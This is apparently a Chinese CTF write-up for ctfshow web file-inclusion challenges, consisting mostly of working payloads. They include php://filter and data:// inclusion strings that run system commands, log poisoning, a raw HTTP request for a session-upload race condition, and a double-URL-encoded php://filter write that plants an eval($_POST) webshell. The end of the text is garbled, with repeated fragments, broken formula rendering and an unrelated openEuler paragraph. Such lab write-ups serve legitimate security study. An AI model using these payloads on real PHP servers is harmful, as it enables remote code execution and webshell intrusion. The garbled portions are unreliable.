ctfshow web 文件包含
3.用户可以自己定义Session ID,比如在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag,我们能够命名’sess_'后面的名字。在默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,它就会清除进度信息,所以我们要利用条件竞争来进行解题。在linux中,session文件
ctfshow web 文件包含
web 78 无过滤,直接php://filter读取
?file=php://filter/convert.base64-encode/resource=flag.php
web 79 88 伪协议data://
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
利用php://data,执行php命令:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
web 80 伪协议php://input+文件日志包含/var/log/nginx/access.log
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}
1.利用此协议,发送post请求执行php代码:
?file=Php://input
<?php system('ls');?>
2.文件日志包含:/var/log/nginx/access.log
原理是:把php代码放到日志文件中,服务器二次访问时就可以执行并读取代码
web 81
利用文件日志包含
web 82 83 84 85 86 session文件上传+包含
首先,我们要知道,在php_ini(5.4+)中的默认配置:
- session.upload_progress.enabled = on //上传文件时,php会将用户上传的表单字段名或特定的值写入到 Session 文件中。
- session.upload_progress.cleanup = on //当文件上传结束后,php将会立即清空对应session文件中的内容
- session.upload_progress.prefix = “upload_progress_” //prefix+name将表示为session中的键名
- session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS” //name当它出现在表单中,php将会报告上传进度,它的值可控
- session.use_strict_mode=off //此时可以自己定义Session ID
在linux中,session文件默认存在的储存位置为 /tmp/sess_xxxxxxx或 /var/lib/php/session
在默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,它就会清除进度信息,所以我们要利用条件竞争来进行解题
下面是网络上其他大佬整合出来的解题步骤
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含:
1.简单来说,上面这个选项开启以后,上传文件,我们能够POST请求查看上传进度
2.我们在session中写入我们要执行的代码
3.用户可以自己定义Session ID,比如在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag,我们能够命名’sess_'后面的名字
4.之后要执行就要包含这个session文件
5.默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,就会清除进度信息
6.于是我们需要条件竞争来读取文件,所谓条件竞争简单来说是在执行系统命令前先执行完自己的代码,在文件上传中很常见
写一个简单的代码进行session文件上传:
<!DOCTYPE html>
<html>
<body>
<form action="https://130e0246-5742-4793-ac7a-549e5fdae22b.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<php system('ls');?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>
先让文件包含页面持续发送:
POST / HTTP/1.1
Host: 5b98eafb-8226-4e58-a7cb-b03123126e21.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=flag
Content-Type: multipart/form-data; boundary=----geckoformboundary797c35daf55c7116353f308bfc31f48d
Content-Length: 394
Origin: http://192.168.154.1
Referer: http://192.168.154.1/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
------geckoformboundary797c35daf55c7116353f308bfc31f48d
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php system('ls');?>
------geckoformboundary797c35daf55c7116353f308bfc31f48d
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: application/octet-stream
a
------geckoformboundary797c35daf55c7116353f308bfc31f48d--
之后另一个页面实现LFI,持续发送,就能读到flag文件了
web 87 php://filter写入+base64解码特性
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
因为要对get传入的内容二次编码,所以$file的内容我们可以随意写,不会被过滤
重点看这里:file_put_contents(urldecode( f i l e ) , " < ? p h p d i e ( ′ 大佬别秀 了 ′ ) ; ? > " . file), "<?php die('大佬别秀了');?>". file),"<?phpdie(′大佬别秀了′);?>".content);
它将 c o n t e n t 写入 content写入 content写入file里,但是 f i l e 后有 < ? p h p d i e ( ′ 大佬别秀 了 ′ ) ; ? > ,阻止 file后有 <?php die('大佬别秀了');?>,阻止 file后有<?phpdie(′大佬别秀了′);?>,阻止content写入
所以,我们考虑使用 base64解码特征(4字节一组) 配合 php://filter base64 写入就行
由于 <?php die('大佬别秀了');?> 一共22个字符,为了使base64可以在j解码时把它们变成乱码,从而使得服务器在解析时自动忽略错误从而真正解析 c o n t e n t ,我们在 content,我们在 content,我们在content前面加两个字符即可
我们构造:
POST:
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
base64编码:<?php @eval($_POST[a]);?>
GET:
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
这是对php://filter/write=convert.base64-decode/resource=1.php进行了2次url编
web 116 (misc+lfi) binwalk分离图片
没什么好说的,直接 ?file=flag.php
web 117 php://filter的多种姿势
1.基础读取:
php://filter/read=convert.base64-encode/resource=flag.php
2.利用字符集转换(Iconv 绕过):
php://filter/read=convert.iconv.UTF-8.UTF-16/resource=config.php
php://filter/read=string.rot13/resource=flag.php
php://filter/read=zlib.deflate|convert.base64-encode/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php
3.多重过滤器叠加
php://filter/read=convert.base64-encode|convert.base64-encode/resource=flag.php
tring.rot13/resource=flag.php
php://filter/read=zlib.deflate|convert.base64-encode/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php
3.多重过滤器叠加
php://filter/read=convert.base64-encode|convert.base64-encode/resource=flag.php
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐







所有评论(0)